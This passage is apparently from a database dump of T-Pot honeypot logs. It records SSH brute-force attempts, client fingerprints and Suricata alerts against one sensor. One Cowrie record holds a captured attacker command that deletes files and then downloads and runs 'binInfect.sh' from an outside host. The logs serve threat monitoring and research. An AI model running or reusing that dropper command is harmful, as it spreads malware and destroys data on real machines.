"event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33459	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:55:22.197953+03	2021-09-20 15:00:05.884724+03	{"_id": "mgYPA3wBvYTbRNuEjE_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1bc049ad6b90", "@version": "1", "duration": 2.819777011871338, "timestamp": "2021-09-20T11:55:22.197953Z", "@timestamp": "2021-09-20T11:55:22.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33460	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:55:24.550555+03	2021-09-20 15:00:05.886722+03	{"_id": "nAYPA3wBvYTbRNuElU_j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:21.550306+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 220}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755834512802, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:24.550555Z", "@timestamp": "2021-09-20T11:55:24.550Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33461	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:55:40.38998+03	2021-09-20 15:00:05.887723+03	{"_id": "4AYPA3wBvYTbRNuE008h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [marketing/marketing12345] failed", "session": "9a0a3ba7cd72", "@version": "1", "password": "marketing12345", "username": "marketing", "timestamp": "2021-09-20T11:55:40.389980Z", "@timestamp": "2021-09-20T11:55:40.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33462	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:55:41.582015+03	2021-09-20 15:00:05.888722+03	{"_id": "4gYPA3wBvYTbRNuE108K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9a0a3ba7cd72", "@version": "1", "duration": 2.2179553508758545, "timestamp": "2021-09-20T11:55:41.582015Z", "@timestamp": "2021-09-20T11:55:41.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33463	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 14:55:44.991561+03	2021-09-20 15:00:05.889722+03	{"_id": "8AYPA3wBvYTbRNuE4k_E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.15.42.2931354109.199.241.180'", "session": "8f625caca81e", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.15.42.2931354109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:55:44.991561Z", "@timestamp": "2021-09-20T11:55:44.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33464	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:55:21.065704+03	2021-09-20 15:00:05.890722+03	{"_id": "igYPA3wBvYTbRNuEhE_3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "1bc049ad6b90", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:55:21.065704Z", "@timestamp": "2021-09-20T11:55:21.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33465	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 14:55:45.265544+03	2021-09-20 15:00:05.892722+03	{"_id": "9wYPA3wBvYTbRNuE5k-s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "8f625caca81e", "@version": "1", "timestamp": "2021-09-20T11:55:45.265544Z", "@timestamp": "2021-09-20T11:55:45.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
33466	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:55:46.413353+03	2021-09-20 15:00:05.893723+03	{"_id": "-AYPA3wBvYTbRNuE6k-W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [sh/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *] failed", "session": "cd73752c7fe1", "@version": "1", "password": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "username": "sh", "timestamp": "2021-09-20T11:55:46.413353Z", "@timestamp": "2021-09-20T11:55:46.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33467	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:55:47.38994+03	2021-09-20 15:00:05.894722+03	{"_id": "-gYPA3wBvYTbRNuE60_f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:47.036170+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1816764568800586, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59278, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:47.389940Z", "@timestamp": "2021-09-20T11:55:47.389Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
33468	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:55:47.390058+03	2021-09-20 15:00:05.896722+03	{"_id": "-wYPA3wBvYTbRNuE60_f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1816764568800586, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59278, "dest_port": 22, "timestamp": "2021-09-20T11:55:47.390058Z", "@timestamp": "2021-09-20T11:55:47.390Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33469	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:47.398974+03	2021-09-20 15:00:05.897722+03	{"_id": "_AYPA3wBvYTbRNuE7E_q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59278, "timestamp": "2021-09-20T11:55:47.398974", "@timestamp": "2021-09-20T11:55:47.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33470	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 14:55:47.397807+03	2021-09-20 15:00:05.898722+03	{"_id": "BQYPA3wBvYTbRNuE7lB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "8f625caca81e", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:55:47.397807Z", "@timestamp": "2021-09-20T11:55:47.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33481	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:51.80218+03	2021-09-20 15:00:05.913723+03	{"_id": "FAYPA3wBvYTbRNuE_lAh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "5e0ca4ceb368", "@version": "1", "timestamp": "2021-09-20T11:55:51.802180Z", "@timestamp": "2021-09-20T11:55:51.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33471	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:51.534831+03	2021-09-20 15:00:05.899722+03	{"_id": "EgYPA3wBvYTbRNuE_FCO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42843, "timestamp": "2021-09-20T11:55:51.534831", "@timestamp": "2021-09-20T11:55:51.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33472	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:51.533622+03	2021-09-20 15:00:05.901723+03	{"_id": "EwYPA3wBvYTbRNuE_lAh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "5e0ca4ceb368", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:55:51.533622Z", "@timestamp": "2021-09-20T11:55:51.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33473	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:55:51.801451+03	2021-09-20 15:00:05.903722+03	{"_id": "FgYPA3wBvYTbRNuE_1Bp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1465500668586248, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42843, "dest_port": 22, "timestamp": "2021-09-20T11:55:51.801451Z", "@timestamp": "2021-09-20T11:55:51.801Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33474	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:55:51.801551+03	2021-09-20 15:00:05.904722+03	{"_id": "FwYQA3wBvYTbRNuEAFB3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 42843, "dest_port": 22, "timestamp": "2021-09-20T11:55:51.801551", "@timestamp": "2021-09-20T11:55:51.801Z", "t-pot_ip_ext": 